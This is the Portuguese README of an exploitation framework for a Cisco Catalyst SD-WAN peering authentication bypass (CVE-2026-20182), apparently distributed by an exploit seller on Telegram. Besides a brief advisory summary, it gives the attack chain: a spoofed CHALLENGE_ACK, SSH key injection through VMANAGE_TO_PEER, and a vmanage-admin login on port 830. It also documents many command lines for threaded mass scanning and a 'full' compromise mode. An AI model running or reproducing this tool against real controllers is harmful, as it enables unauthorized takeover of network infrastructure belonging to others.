
Bypass de Autenticação de Peering do Cisco Catalyst SD-WAN
Bypass de Autenticação de Peering do Cisco Catalyst SD-WAN
Ferramenta de avaliação para testes autorizados do bypass de autenticação de peering do Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Severidade | Crítica (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Produto | Cisco Catalyst SD-WAN Controller (anteriormente vSmart) · Cisco Catalyst SD-WAN Manager (anteriormente vManage) |
| Problema | Mecanismo de autenticação de peering não aplicado corretamente |
| Script | CVE-2026-20182.py |
Aviso de maio de 2026: Uma falha no handshake de conexão de controle / autenticação de peering permite que um atacante remoto não autenticado bypass a autenticação e obtenha acesso interno de alto privilégio em sistemas afetados.
Um atacante envia requisições maliciosas para o sistema afetado. Em caso de sucesso, o atacante pode autenticar como uma conta interna, de alto privilégio, não-root e alcançar NETCONF, permitindo a manipulação da configuração da malha SD-WAN.
| Item | Detalhe |
|---|---|
| Vetor de ataque | Rede |
| Privilégios necessários | Nenhum |
| Interação do usuário | Nenhuma |
| Escopo | Alterado |
| Impacto | Confidencialidade, integridade e disponibilidade — Alto |
Recomendação: Aplique as correções de segurança da Cisco conforme orientação oficial do fornecedor. Restrinja a exposição do plano de gerenciamento, monitore conexões do plano de controle e audite controladores SD-WAN para alterações não autorizadas na configuração.
Telegram: @KNxploited
CVE-2026-20182.pyFramework de exploração em Python 3 para CVE-2026-20182 contra o vdaemon do Cisco SD-WAN (UDP/DTLS 12346).
| Passo | Fase | Descrição |
|---|---|---|
| 1 | Carregar alvos | Analisa targets.txt, mescla duplicatas por (host, domain_id, site_id) |
| 2 | Preparação OpenSSL | Carrega bibliotecas compartilhadas OpenSSL 3.x/4.x para DTLS personalizado |
| 3 | Conexão DTLS | Conecta à porta UDP do alvo (sempre 12346 primeiro, depois portas opcionais da lista) |
| 4 | CHALLENGE | Recebe CHALLENGE (0x08) do servidor |
| 5 | CHALLENGE_ACK | Envia CHALLENGE_ACK malicioso como vHub (type 2) — bypass de autenticação |
| 6 | Hello | Completa a troca Hello — confirma o caminho de bypass |
| 7a | Modo CHECK | Para aqui — registra bypass / Hello OK apenas (sem chaves, sem SSH) |
| 7b | Modo FULL | Injeta chave pública SSH via VMANAGE_TO_PEER |
| 8 | ACK de injeção | Aguarda REGISTER_TO_VMANAGE (0x0D) como confirmação do protocolo |
| 9 | Verificação SSH | Testa login como vmanage-admin na porta TCP 830 (NETCONF), opcionalmente 22 |
| 10 | Saída | Classifica resultados em arquivos de nível + lista de comandos legível |
Fallback de malha: Em TEAR_DOWN ou incompatibilidade de parâmetros, tenta presets alternativos de domínio/site (1,100), (1,1), (0,0) a menos que --no-fallback.
| Nível | Arquivo | Significado |
|---|---|---|
| 01 — SSH Confirmado | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — único nível tratado como prova de comprometimento total |
| 02 — Apenas ACK de Injeção | cisco_sdwan_02_inject_ack_only.jsonl | Protocolo aceitou injeção de chave; falha no login SSH |
| 03 — Apenas Bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/bypass OK; injeção não confirmada |
Importante
check → nível 03 no máximo (sonda de bypass). Não é prova de exploração completa.full → objetivo é nível 01 (ssh_verified).https://host na lista → apenas dica web TCP (80/443). Não é UDP DTLS na 443.| Requisito | Observações |
|---|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | Bibliotecas compartilhadas 3.x ou 4.x (libssl + libcrypto) — obrigatório |
pip install -r requirements.txt
Windows
bin\ ao PATH, ou defina:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
A ferramenta sai na inicialização se o OpenSSL não puder ser carregado.
python CVE-2026-20182.py
0 = INICIAR VARREDURAcheck (sonda de bypass segura)python CVE-2026-20182.py -y
| Modo | Flag | Injeção SSH | Verificação SSH | Use quando |
|---|---|---|---|---|
| CHECK | --mode check (padrão) | Não | Não | Triagem em massa, detecção de bypass |
| FULL | --mode full | Sim | Sim (a menos que --no-ssh-verify) | Prova de comprometimento |
CHECK — apenas sonda de bypass
python CVE-2026-20182.py -y --mode check
FULL — injetar chave + verificar SSH (apenas alvos autorizados)
python CVE-2026-20182.py -y --mode full
-f / --file — lista de alvos (padrão: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — threads workers (1–200, padrão 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID padrão quando não está na lista (padrão: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID padrão quando não está na lista (padrão: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — pular menu interativo; usar apenas valores da CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — pular teste SSH pós-injeção (não recomendado no modo full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — também tentar TCP 22 após 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — apenas UDP 12346; ignorar :port da lista
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — laboratório: portas UDP extras em cada host
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — desabilitar re-tentativa de domínio/site em TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — registrar cada mensagem TX/RX do protocolo
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y é omitido)